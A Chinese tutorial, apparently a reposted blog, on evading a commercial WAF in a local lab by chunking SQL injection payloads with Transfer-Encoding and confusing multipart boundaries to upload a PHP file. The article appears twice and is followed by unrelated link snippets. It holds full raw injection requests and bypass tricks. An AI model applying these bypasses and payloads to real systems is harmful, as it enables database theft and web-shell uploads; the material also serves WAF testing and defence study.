waf绕过——打狗棒法

news2024/12/26 11:10:49

前言 某狗可谓是比较好绕过的waf,但是随着现在的发展,某狗也是越来越难绕过了,但是也不是毫无办法,争取这篇文章给正在学习waf绕过的小白来入门一种另类的waf绕过。 环境的搭建: 环境的搭建就选择phpstudy2018+安全狗最新版(2022年10月23日前) Tip: (1)记得先在phpstudy的Apache的bin目录下初始化Apache服务,一般来说,第一次为询问是否确认,第二次为确认安装(命令:httpd.exe -k install -n apache2.4 用管理员打开) (2)上传防护中把完整的post包过滤勾选上。 HTTP补充: 分块传输的介绍: 分块传输编码是超文本传输协议(HTTP)中的一种数据传输机制,允许HTTP由应用服务器向客户端发送的数据分成多个部分,在消息头中指定 Transfer-Encoding: chunked 就表示整个response将使分块传输编译来传输内容。一个消息块由n块组成,并在最后一个大小为0的块结束。

添加图片注释,不超过 140 字(可选)

请求头Transfer-encoding: 官方文档: 告知接收方为了可靠地传输报文,已经对其进行了何种编码。 chunked编码,使用若干个chunk串连接而成,由一个标明长度为0的chunk表示解释,每个chunk分为头部和正文两部分,头部内容定义了下一行传输内容的个数(个数用16进制来进行表示)和数量(一般不写数量,但是为了混淆,这里还是把数量写上去)正文部分就是指定长度的实际内容。两部分之间用(CRLF)来隔开,在最后一个长度为0的chunk中表示结束。并且长度中是以;作为长度的结束 数据包中添加:Transfer-Encoding: chunked 数字代表下一行的字符所占位数,最后需要用0独占一行表示结束,结尾需要两个回车 当设置这个Transfer-Encoding请求头的时候,会有两个效果: Content-length字段自动忽略 基于长久化持续推送动态内容(不太了解,但是第三感觉有研究内容)

添加图片注释,不超过 140 字(可选)

HTTP持久化连接: 因为现在大多数是http1.1协议版本,所以的话,只在Transfer-Encoding中定义了chunked一种编码格式。 持久化连接: Http请求是运行在TCP连接上的,所以自然有TCP的三次握手和四次挥手,慢启动的问题,所以为了提高http的性能,就使用了持久化连接。持久化连接在《计算机网络》中有提及。 在Http1.1的版本中规定了所有连接默认都是持久化连接,除非在请求头上加上Connection:close。来关闭持久化连接。 Content-Type介绍: Content-Type:互联网媒体类型, 也叫MIME类型,在HTTP的协议消息头中,使用Content-Type来表示请求和响应中的媒体数据格式标签,用于区分数据类型。常见Content-Type的格式如下: Content-Type: text/html; Content-Type: application/json;charset:utf-8; Content-Type:type/subtype ;parameter Content-Type:application/x-www-form-urlencoded Content-Type:multipart/form-data 重点介绍multipart/form-data: 当服务器使用multipart/form-data接收POST请求的时候,服务器如何知道开始位置和结束位置的呢??? 其中就是用了boundary边界来进行操作的。

添加图片注释,不超过 140 字(可选)

waf绕过的思路: 正常传输的payload都是可以被waf的正则匹配到的,而进行分块传输之后的payload,waf的正则不会进行匹配,而又满足http的规则,所以就能绕过waf。

添加图片注释,不超过 140 字(可选)

添加图片注释,不超过 140 字(可选)

例如: 正常传输过程中是这样的。

添加图片注释,不超过 140 字(可选)

那分块传输之后,就变成了这样。 POST /sqli-labs-master/Less-11/ HTTP/1.1 Host: 192.168.172.161 Content-Length: 128 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.172.161 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.172.161/sqli-labs-master/Less-11/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Transfer-Encoding: chunked 4 unam 1 e 1 = 4 admi 1 n 1 & 4 pass 2 wd 1 = 4 admi 1 n 1 & 4 subm 2 it 1 = 4 Subm 2 it 0

添加图片注释,不超过 140 字(可选)

说明是可以识别分块传输的东西,那么我们就可以构造payload来看是否可以绕过waf。 绕过安全狗的sql注入: 这里先解决一下绕过安全狗的方式,在常见的方式中,我们都采用垃圾字符填充的方式来绕过安全狗,虽然效果很好,但是较为复杂,也容易出现被狗咬伤的情况,所以为了解决这一现状,小秦同学翻阅之后发现了分块传输的方式来绕过安全狗。但是分块传输目前来看只能适用于post请求。get请求还是比较难说。 以sql-labs为例: 在sqli-labs的第十一关,我们发现了可以用post请求。先正常看看过滤哪些字符,这里开门见山,直接把'union select (database()),2#。这个东西进行了过滤

添加图片注释,不超过 140 字(可选)

咱们可以尝试使用分块传输的方式来进行绕过。这里在请求头中添加。 Transfer-Encoding: chunked 这个东西,然后进行分块即可。 读取数据库名 POST /sqli-labs-master/Less-11/ HTTP/1.1 Host: 192.168.172.161 Content-Length: 251 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.172.161 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.172.161/sqli-labs-master/Less-11/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Transfer-Encoding: chunked 1 u 4 name 1 = 1 & 2 pa 4 sswd 1 = 3 %27 2 un 1 i 2 on 1 + 2 se 1 l 2 ec 1 t 1 + 3 %28 2 da 1 t 2 ab 1 a 2 se 3 %28 3 %29 3 %29 3 %2C 1 2 3 %23 1 & 3 sub 3 mit 1 = 3 Sub 3 mit 0

添加图片注释,不超过 140 字(可选)

读取表名: POST /sqli-labs-master/Less-11/ HTTP/1.1 Host: 192.168.172.161 Content-Length: 619 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.172.161 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.172.161/sqli-labs-master/Less-11/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Transfer-Encoding: chunked 1 u 2 na 1 m 1 e 1 = 1 & 2 pa 2 ss 2 wd 1 = 3 %27 1 u 2 ni 1 o 1 n 1 + 2 se 2 le 1 c 1 t 1 + 3 %28 2 se 1 l 1 e 2 ct 1 + 2 gr 2 ou 1 p 1 _ 2 co 2 nc 2 at 3 %28 2 ta 2 bl 1 e 1 _ 2 na 2 me 3 %29 1 + 2 fr 2 om 1 + 2 in 2 fo 1 r 3 mat 2 io 1 n 1 _ 2 sc 3 hem 1 a 1 . 2 ta 2 bl 2 es 1 + 2 wh 2 er 1 e 1 + 2 ta 2 bl 1 e 1 _ 2 sc 2 he 1 m 1 a 3 %3D 2 da 1 t 2 ab 3 ase 3 %28 3 %29 3 %29 3 %2C 1 2 3 %23 1 & 2 su 3 bmi 1 t 1 = 2 Su 4 bmit 0

添加图片注释,不超过 140 字(可选)

读列名:

添加图片注释,不超过 140 字(可选)

读取数据:

添加图片注释,不超过 140 字(可选)

绕过安全狗的文件上传(以pikachu靶场为例) 这里上面讲到了分块传输,这里直接先使用分块传输来进行绕过。这里讲下计算方式,因为文件上传不像sql注入那样单行,所以文件上传是会有回车和空格的计算,(一个回车和一个空格占两个字符)。例如下图:

添加图片注释,不超过 140 字(可选)

红框中的部分,分别处于不同的行,所以需要传入回车,所以这部分就应该是:

添加图片注释,不超过 140 字(可选)

这块先去上传php文件为例,可以进行分块传输的构造。然后上传。

添加图片注释,不超过 140 字(可选)

发现单单的分块传输已经不能绕过安全狗文件上传的检测了。

添加图片注释,不超过 140 字(可选)

Content-Type中的boundary边界混淆绕过 因为上面讲到了Content-Type类型,那么对于我们来说,文件上传一定是利用了Content-Type中的multipart/form-data来进行的文件上传操作,刚才讲到了利用multipart/form-data必须用boundary边界来进行限制,那么我们这里研究一下boundary边界的一些问题。 深入研究boundary边界问题:

添加图片注释,不超过 140 字(可选)

这里拿上面的边界来做文章,这里看到了,当上面定义了boundary=----WFJAFAOKAJNFKLAJ的时候我想到了两个问题。 1.如果有两个boundary是取前一个还是后一个? 2.boundary结束标志必须和定义的一定相同嘛? 下面继续一一测试 boundary边界问题fuzz: boundary边界一致:

添加图片注释,不超过 140 字(可选)

boundary结束标志不一致:

添加图片注释,不超过 140 字(可选)

boundary开始标志不一致:

添加图片注释,不超过 140 字(可选)

上面经过研究可以发现boundary结束标志不影响判断。 多个boundary:

添加图片注释,不超过 140 字(可选)

添加图片注释,不超过 140 字(可选)

所以当定义两个boundary的时候,只有第一个起作用。经过了上面的测试发现,我们可以通过构造多个boundary和修改boundary结束标志来达到混淆的效果,这里进行测试。 多个boundary混淆:

添加图片注释,不超过 140 字(可选)

这里进入uploads/1.php查看

添加图片注释,不超过 140 字(可选)

成功绕过waf。发现: 这里发现,其他不用非得加boundary混淆,测到boundary后面加分号就直接可以绕过安全狗来上传成功。

添加图片注释,不超过 140 字(可选)

对于分块传输的小Tip: (1)分块传输的每个长度以;结尾,所以可以构造1;fjaojafjao这种来干扰waf (2)分块传输的时候是不会管Content-Length的长度,所以可以通过Content-Length的长度变换来绕过某些waf (3)分块传输只是适用于post请求,这也是存在的弊端问题 总结: 绕过waf的方式多种多样,但是越简单的方式越需要底层的探索,所以底层的学习是非常必要的。希望给正在学习绕waf的小伙伴提供一些思路。而不仅限于垃圾字符填充。 参考文献: https://zhuanlan.zhihu.com/p/465948117 http://t.zoukankan.com/liujizhou-p-11802189.html https://copyfuture.com/blogs-details/202203261638435585

添加图片注释,不超过 140 字(可选)

收录于合集 #web 43个 上一篇红队蓝军 | WEB渗透课程下一篇fastjson-BCEL不出网打法原理分析 前言 某狗可谓是比较好绕过的waf,但是随着现在的发展,某狗也是越来越难绕过了,但是也不是毫无办法,争取这篇文章给正在学习waf绕过的小白来入门一种另类的waf绕过。 环境的搭建: 环境的搭建就选择phpstudy2018+安全狗最新版(2022年10月23日前) Tip: (1)记得先在phpstudy的Apache的bin目录下初始化Apache服务,一般来说,第一次为询问是否确认,第二次为确认安装(命令:httpd.exe -k install -n apache2.4 用管理员打开) (2)上传防护中把完整的post包过滤勾选上。 HTTP补充: 分块传输的介绍: 分块传输编码是超文本传输协议(HTTP)中的一种数据传输机制,允许HTTP由应用服务器向客户端发送的数据分成多个部分,在消息头中指定 Transfer-Encoding: chunked 就表示整个response将使分块传输编译来传输内容。一个消息块由n块组成,并在最后一个大小为0的块结束。

添加图片注释,不超过 140 字(可选)

请求头Transfer-encoding: 官方文档: 告知接收方为了可靠地传输报文,已经对其进行了何种编码。 chunked编码,使用若干个chunk串连接而成,由一个标明长度为0的chunk表示解释,每个chunk分为头部和正文两部分,头部内容定义了下一行传输内容的个数(个数用16进制来进行表示)和数量(一般不写数量,但是为了混淆,这里还是把数量写上去)正文部分就是指定长度的实际内容。两部分之间用(CRLF)来隔开,在最后一个长度为0的chunk中表示结束。并且长度中是以;作为长度的结束 数据包中添加:Transfer-Encoding: chunked 数字代表下一行的字符所占位数,最后需要用0独占一行表示结束,结尾需要两个回车 当设置这个Transfer-Encoding请求头的时候,会有两个效果: Content-length字段自动忽略 基于长久化持续推送动态内容(不太了解,但是第三感觉有研究内容)

添加图片注释,不超过 140 字(可选)

HTTP持久化连接: 因为现在大多数是http1.1协议版本,所以的话,只在Transfer-Encoding中定义了chunked一种编码格式。 持久化连接: Http请求是运行在TCP连接上的,所以自然有TCP的三次握手和四次挥手,慢启动的问题,所以为了提高http的性能,就使用了持久化连接。持久化连接在《计算机网络》中有提及。 在Http1.1的版本中规定了所有连接默认都是持久化连接,除非在请求头上加上Connection:close。来关闭持久化连接。 Content-Type介绍: Content-Type:互联网媒体类型, 也叫MIME类型,在HTTP的协议消息头中,使用Content-Type来表示请求和响应中的媒体数据格式标签,用于区分数据类型。常见Content-Type的格式如下: Content-Type: text/html; Content-Type: application/json;charset:utf-8; Content-Type:type/subtype ;parameter Content-Type:application/x-www-form-urlencoded Content-Type:multipart/form-data 重点介绍multipart/form-data: 当服务器使用multipart/form-data接收POST请求的时候,服务器如何知道开始位置和结束位置的呢??? 其中就是用了boundary边界来进行操作的。

添加图片注释,不超过 140 字(可选)

waf绕过的思路: 正常传输的payload都是可以被waf的正则匹配到的,而进行分块传输之后的payload,waf的正则不会进行匹配,而又满足http的规则,所以就能绕过waf。

添加图片注释,不超过 140 字(可选)

添加图片注释,不超过 140 字(可选)

例如: 正常传输过程中是这样的。

添加图片注释,不超过 140 字(可选)

那分块传输之后,就变成了这样。 POST /sqli-labs-master/Less-11/ HTTP/1.1 Host: 192.168.172.161 Content-Length: 128 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.172.161 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.172.161/sqli-labs-master/Less-11/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Transfer-Encoding: chunked 4 unam 1 e 1 = 4 admi 1 n 1 & 4 pass 2 wd 1 = 4 admi 1 n 1 & 4 subm 2 it 1 = 4 Subm 2 it 0

添加图片注释,不超过 140 字(可选)

说明是可以识别分块传输的东西,那么我们就可以构造payload来看是否可以绕过waf。 绕过安全狗的sql注入: 这里先解决一下绕过安全狗的方式,在常见的方式中,我们都采用垃圾字符填充的方式来绕过安全狗,虽然效果很好,但是较为复杂,也容易出现被狗咬伤的情况,所以为了解决这一现状,小秦同学翻阅之后发现了分块传输的方式来绕过安全狗。但是分块传输目前来看只能适用于post请求。get请求还是比较难说。 以sql-labs为例: 在sqli-labs的第十一关,我们发现了可以用post请求。先正常看看过滤哪些字符,这里开门见山,直接把'union select (database()),2#。这个东西进行了过滤

添加图片注释,不超过 140 字(可选)

咱们可以尝试使用分块传输的方式来进行绕过。这里在请求头中添加。 Transfer-Encoding: chunked 这个东西,然后进行分块即可。 读取数据库名 POST /sqli-labs-master/Less-11/ HTTP/1.1 Host: 192.168.172.161 Content-Length: 251 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.172.161 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.172.161/sqli-labs-master/Less-11/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Transfer-Encoding: chunked 1 u 4 name 1 = 1 & 2 pa 4 sswd 1 = 3 %27 2 un 1 i 2 on 1 + 2 se 1 l 2 ec 1 t 1 + 3 %28 2 da 1 t 2 ab 1 a 2 se 3 %28 3 %29 3 %29 3 %2C 1 2 3 %23 1 & 3 sub 3 mit 1 = 3 Sub 3 mit 0

添加图片注释,不超过 140 字(可选)

读取表名: POST /sqli-labs-master/Less-11/ HTTP/1.1 Host: 192.168.172.161 Content-Length: 619 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.172.161 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.172.161/sqli-labs-master/Less-11/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Transfer-Encoding: chunked 1 u 2 na 1 m 1 e 1 = 1 & 2 pa 2 ss 2 wd 1 = 3 %27 1 u 2 ni 1 o 1 n 1 + 2 se 2 le 1 c 1 t 1 + 3 %28 2 se 1 l 1 e 2 ct 1 + 2 gr 2 ou 1 p 1 _ 2 co 2 nc 2 at 3 %28 2 ta 2 bl 1 e 1 _ 2 na 2 me 3 %29 1 + 2 fr 2 om 1 + 2 in 2 fo 1 r 3 mat 2 io 1 n 1 _ 2 sc 3 hem 1 a 1 . 2 ta 2 bl 2 es 1 + 2 wh 2 er 1 e 1 + 2 ta 2 bl 1 e 1 _ 2 sc 2 he 1 m 1 a 3 %3D 2 da 1 t 2 ab 3 ase 3 %28 3 %29 3 %29 3 %2C 1 2 3 %23 1 & 2 su 3 bmi 1 t 1 = 2 Su 4 bmit 0

添加图片注释,不超过 140 字(可选)

读列名:

添加图片注释,不超过 140 字(可选)

读取数据:

添加图片注释,不超过 140 字(可选)

绕过安全狗的文件上传(以pikachu靶场为例) 这里上面讲到了分块传输,这里直接先使用分块传输来进行绕过。这里讲下计算方式,因为文件上传不像sql注入那样单行,所以文件上传是会有回车和空格的计算,(一个回车和一个空格占两个字符)。例如下图:

添加图片注释,不超过 140 字(可选)

红框中的部分,分别处于不同的行,所以需要传入回车,所以这部分就应该是:

添加图片注释,不超过 140 字(可选)

这块先去上传php文件为例,可以进行分块传输的构造。然后上传。

添加图片注释,不超过 140 字(可选)

发现单单的分块传输已经不能绕过安全狗文件上传的检测了。

添加图片注释,不超过 140 字(可选)

Content-Type中的boundary边界混淆绕过 因为上面讲到了Content-Type类型,那么对于我们来说,文件上传一定是利用了Content-Type中的multipart/form-data来进行的文件上传操作,刚才讲到了利用multipart/form-data必须用boundary边界来进行限制,那么我们这里研究一下boundary边界的一些问题。 深入研究boundary边界问题:

添加图片注释,不超过 140 字(可选)

这里拿上面的边界来做文章,这里看到了,当上面定义了boundary=----WFJAFAOKAJNFKLAJ的时候我想到了两个问题。 1.如果有两个boundary是取前一个还是后一个? 2.boundary结束标志必须和定义的一定相同嘛? 下面继续一一测试 boundary边界问题fuzz: boundary边界一致:

添加图片注释,不超过 140 字(可选)

boundary结束标志不一致:

添加图片注释,不超过 140 字(可选)

boundary开始标志不一致:

添加图片注释,不超过 140 字(可选)

上面经过研究可以发现boundary结束标志不影响判断。 多个boundary:

添加图片注释,不超过 140 字(可选)

添加图片注释,不超过 140 字(可选)

所以当定义两个boundary的时候,只有第一个起作用。经过了上面的测试发现,我们可以通过构造多个boundary和修改boundary结束标志来达到混淆的效果,这里进行测试。 多个boundary混淆:

添加图片注释,不超过 140 字(可选)

这里进入uploads/1.php查看

添加图片注释,不超过 140 字(可选)

成功绕过waf。发现: 这里发现,其他不用非得加boundary混淆,测到boundary后面加分号就直接可以绕过安全狗来上传成功。

添加图片注释,不超过 140 字(可选)

对于分块传输的小Tip: (1)分块传输的每个长度以;结尾,所以可以构造1;fjaojafjao这种来干扰waf (2)分块传输的时候是不会管Content-Length的长度,所以可以通过Content-Length的长度变换来绕过某些waf (3)分块传输只是适用于post请求,这也是存在的弊端问题 总结: 绕过waf的方式多种多样,但是越简单的方式越需要底层的探索,所以底层的学习是非常必要的。希望给正在学习绕waf的小伙伴提供一些思路。而不仅限于垃圾字符填充。 参考文献: https://zhuanlan.zhihu.com/p/465948117 http://t.zoukankan.com/liujizhou-p-11802189.html https://copyfuture.com/blogs-details/202203261638435585

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1084434.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

目标和00

题目链接 目标和 题目描述 注意点 只能向数组中的每个整数前添加 ‘’ 或 ‘-’返回可以通过上述方法构造的、运算结果等于 target 的不同 表达式 的数目1 < nums.length < 200 < nums[i] < 10000 < sum(nums[i]) < 10001000 < target < 1000 解答…

3.5 数据更新

思维导图&#xff1a; 3.5.1 插入数据 **数据更新操作笔记** --- **概述&#xff1a;** 数据更新操作在SQL中主要包括三种&#xff1a;插入、修改和删除。以下主要集中于插入数据的操作。 --- **3.5.1 插入数据&#xff1a;** **1. 插入单一元组&#xff1a;** - 格式&am…

MySQL-DCL数据控制语言简要介绍

MySQL-DCL数据控制语言简要介绍 一、简介二、用户操作1、创建用户2、修改用户密码3、删除用户 三、权限控制1、权限说明2、显示用户权限3、授予权限4、撤销权限 一、简介 在MySQL中&#xff0c;DCL代表数据控制语言&#xff08;Data Control Language&#xff09;。DCL用于管理…

开发者职场“生存状态”大调研报告分析 - 第三版

听人劝、吃饱饭,奉劝各位小伙伴,不要订阅该文所属专栏。 作者:不渴望力量的哈士奇(哈哥),十余年工作经验, 跨域学习者,从事过全栈研发、产品经理等工作,现任研发部门 CTO 。荣誉:2022年度博客之星Top4、博客专家认证、全栈领域优质创作者、新星计划导师,“星荐官共赢计…

spark中使用flatmap报错:TypeError: ‘int‘ object is not subscriptable

1、背景描述 菜鸟笔者在运行下面代码时发生了报错&#xff1a; from pyspark import SparkContextsc SparkContext("local", "apple1012")rdd sc.parallelize([[1, 2], 3, [7, 5, 6]])rdd1 rdd.flatMap(lambda x: x) print(rdd1.collect())报错描述如…

Fastadmin/Tp5.0连接多个数据库

第一步先引入Config use think\Config; 第二步读取数据库配置 $db Config::get(database2); //读取第二个数据库配置 第三步连接数据库 $db Db::connect($config); 第四步对数据库进行操作 $data $db->name(admin)->find(); 新建的database2.php就是把原database…

冲量在线荣获2023中关村科学城科创大赛成长组TOP10优秀项目!

2023年9月15日&#xff0c;由市科委、中关村管委会&#xff0c;市发展改革委&#xff0c;市经济和信息化局联合指导的2023中关村科学城科创大赛圆满落下帷幕&#xff0c;该项赛事聚焦人工智能大模型&#xff0c;互联网3.0等前沿领域&#xff0c;吸引了国内外近300个优质项目报名…

【开源三方库】Fuse.js:强大、轻巧、零依赖的模糊搜索库

开源项目 OpenHarmony 是每个人的 OpenHarmony 曹天恒 公司&#xff1a;中国科学院软件研究所 小组&#xff1a;知识体系工作组 1.简介 Fuse.js 是一款功能强大且轻量级的 JavaScript 模糊搜索库&#xff0c;支持 OpenAtom OpenHarmony&#xff08;以下简称“OpenHarmony”…

vue3 自动下载使用 iconify图标以及自定义svg图标

开发中经常使用图标&#xff0c;通过unplugin-icons 插件我们可以在项目中自动下载所需的图标&#xff0c;但实际开发中我们还需要iconfont以及项目ui切图中的图标&#xff0c;这就需要使用自定义SvgIcon组件。具体操作步骤 一、安装包 npm i -D vite-plugin-svg-icons unplu…

Live800:未来的客户服务会发生哪些改变?

随着技术的不断进步和社会的不断发展&#xff0c;客户服务行业也在不断发生着变化。未来的客户服务将会发生哪些改变呢&#xff1f;以下是五个客户服务的预测&#xff0c;以期为企业的客服部门和经营者提供一些启示。 1、AI技术将会成为客户服务行业的核心 人工智能&#xff0…

冲量在线出席2023隐私计算大会,分享在大模型时代下隐私计算的最佳应用实践

隐私计算是数据要素可信流通的关键技术&#xff0c;是当下学术和产业研究的重要方向&#xff0c;也是助力我国数字经济发展的关键举措。为促进隐私计算发展&#xff0c;为隐私计算行业人群提供交流平台&#xff0c;7月26日&#xff0c;由中国信息通信研究院、中国通信学会联合主…

产品经理进阶:如何写商业计划书?

目录 简介 确定目标 确定目标市场 竞争分析 CSDN学院 作者简介 简介 很多时候&#xff0c;我们缺乏的并不是创意。 因为任何人都可能会萌发出一个好的创意。 但是&#xff0c;将想法变成可行的业务就完全是另一码事了。 你可能会认为你自己已经做好充分准备&#xff0…

vs2010 c++ 解析 json(jsoncpp)

vs2010 c 解析 json&#xff08;jsoncpp&#xff09; 在vs2010中利于jsoncpp库解析json&#xff0c;由于vs2010的版本过于古老&#xff0c;因此我们需要下载合适的jsoncpp版本。 下载jsoncpp 网址&#xff1a;https://github.com/open-source-parsers/jsoncpp/tags 选择合适的j…

用AIGC做私活真的太赚了...

说个小道消息&#xff0c;传统涨薪跳槽旺季即将结束&#xff0c;使用AIGC技术已然迎接私活的高潮期&#xff01;各行业对【AIGC】的需求在短时间内暴增。 估计圈子里的朋友都不会闲着&#xff0c;会趁着旺季赚一笔。 所以&#xff0c;近段时间知识星球很多粉丝朋友收到了很多…

html和css基础练习

vscode快捷键 alt b 在浏览器中打开 alt shift b 在其他浏览器打开 ctrl / 注释 ctrl y 快捷键删除 参考文章 https://www.bilibili.com/video/BV1m84y1w7Tb 基础html标签 img&#xff1a;图像&#xff0c;title&#xff1a;头部文字&#xff0c;body&#xff1a;主…

【喜报】冲量在线荣获首届“创领浦东”创新创业大赛三等奖!

为挖掘和培育更多具有浦东特色的优秀创业代表&#xff0c;深耕人才创新创业沃土。2023年&#xff0c;浦东新区人力资源和社会保障局、浦东新区就业促进中心聚合三大赛事品牌&#xff0c;联手打造升级版赛事IP——首届“创领浦东”创新创业大赛。 经过初选、复选、决赛三轮评审…

让视频更加完美——Adobe Premiere Pro 2024 (Pr2024)正式发布!

如果您是一名视频制作人员&#xff0c;或者是想把自己的视频制作得更加完美的业余爱好者&#xff0c;那么您一定听说过Adobe Premiere Pro。Adobe Premiere Pro是一款功能强大、稳定可靠的视频编辑软件&#xff0c;被广泛应用于电影、电视、广告等行业。 现在&#xff0c;好消…

Bootstrap-- 媒体特性

最大、最小宽度例子&#xff1a; 横屏与竖屏例子&#xff1a; 宽度比与像素比例子&#xff1a;

C#:画许多圆

C#:画许多圆 //画许多圆 using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms;namespace Test_21 {…

网络安全好学吗?要学哪些技术?

在网络上有很多关于网络安全的相关介绍&#xff0c;我们如果说真的准备了解关于网络安全的一些真实的情况&#xff0c;可以通过网上的相关知识来进行了解&#xff0c;这些知识有助于大家对网络安全的存款情况做好一个深入的了解&#xff0c;给自己制定好学习计划&#xff0c;学…